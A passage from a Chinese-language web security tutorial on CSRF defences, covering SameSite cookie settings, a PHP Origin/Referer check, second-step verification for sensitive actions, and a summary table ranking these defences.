Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
| SameSite 值 | 行为 | 防 CSRF 效果 |
|---|---|---|
Strict |
完全禁止跨站携带 Cookie | 最强,但可能影响正常从外部链接跳入的场景(如从邮件链接打开登录页) |
Lax |
允许安全的跨站 GET 导航(如链接跳转),但 POST/PUT 等跨站请求不带 Cookie | 较强,Chrome 80+ 的默认值 |
None |
允许所有跨站请求携带 Cookie(必须同时设置 Secure) | 无防护 |
SameSite=Lax 对 GET 型 CSRF 的防护效果需要区分场景:
第 10.1 节中演示的 GET 型 CSRF,利用的是 <img>、<iframe> 发起跨站 GET 请求。在 SameSite=Lax 下,这两种方式发起的跨站请求不会携带 Cookie,因此攻击已被防住。
但 Lax 允许顶层导航(用户点击链接跳转)的 GET 请求携带 Cookie,所以如果敏感操作真的通过 GET 实现,攻击者仍可诱导用户直接点击恶意链接来触发。这也是敏感操作必须使用 POST 的原因之一。
注意: Chrome 80(2020年2月)之后,未明确设置 SameSite 的 Cookie 默认按
Lax处理,但旧版浏览器仍然默认允许跨站携带 Cookie,所以不能只依赖浏览器的默认行为,应该明确设置。
13.3 验证 Origin/Referer 头(辅助手段)
在服务端验证请求来源,作为 Token 的辅助防线:
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed = 'https://example.com';
// 优先检查 Origin,不存在时检查 Referer
$source = $origin ?: parse_url($referer, PHP_URL_SCHEME) . '://' . parse_url($referer, PHP_URL_HOST);
if ($source !== $allowed) {
die('来源验证失败');
}
局限性:
Referer可以被浏览器配置或隐私插件屏蔽,不能单独依赖Origin对所有非简单请求都会发送,更可靠,但不是所有浏览器都支持(现代浏览器均支持)- 这两个头都可以被服务端代码误判(如校验逻辑不严格),见第 11.4 节
13.4 关键操作二次验证
对于特别敏感的操作(转账、修改密码、删除账号),加上二次验证:
- 要求用户重新输入密码
- 发送短信/邮件验证码
- 二次确认弹窗(注意:纯前端弹窗可以被 XSS+CSRF 绕过,服务端验证码更可靠)
13.5 防御策略总结
| 防御手段 | 效果 | 推荐程度 |
|---|---|---|
| CSRF Token | 强,主流方案 | ⭐⭐⭐⭐⭐ |
| SameSite=Strict Cookie | 强,浏览器层防御 | ⭐⭐⭐⭐⭐ |
| SameSite=Lax Cookie | 较强,Chrome 默认 | ⭐⭐⭐⭐ |
| 验证 Origin/Referer | 中,作为辅助层 | ⭐⭐⭐ |
| 关键操作二次验证 | 强,但影响体验 | ⭐⭐⭐⭐ |
| 仅靠 HTTPS | 无效(不能防 CSRF) | ❌ |
| 仅靠 POST | 无效(POST 同样可伪造) | ❌ |
最佳实践: CSRF Token + SameSite Cookie 双重防护,对特别敏感操作加二次验证。
附录:XSS 与 CSRF 防御速查
XSS 防御核查清单
CSRF 防御核查清单
写在最后: XSS 和 CSRF 常常组合出现,单独防御任何一个都不够。理解两者的原理和联系,才能构建真正有效的防御体系。请始终在授权范围内进行安全测试。Stay Legal! 🔐
浙公网安备 33010602011771号